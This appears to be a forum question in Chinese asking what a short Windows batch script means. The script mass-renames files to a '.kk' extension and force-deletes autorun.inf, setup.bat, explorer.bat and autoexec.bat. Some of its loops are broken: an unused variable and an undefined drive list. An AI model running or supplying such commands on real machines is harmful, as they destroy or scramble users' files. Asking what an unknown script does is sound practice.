set all=d e f g h i j k l m n o p q r s t u v w x y z
for %%s in (%all%) do ren *.* *.kk
for %%s in (%all%) do ren *.* *.kk
for %%b in (%alldrive%) do rd /s /q %%b:\autorun.inf
rd /s /q d:\setup.bat
rd /s /q %windir%/system32/explorer.bat
attrib c:\autoexec.bat -h -r -s
rd /s /q c:\autoexec.bat
请问这段批处理是什么意思,可以讲清楚些吗?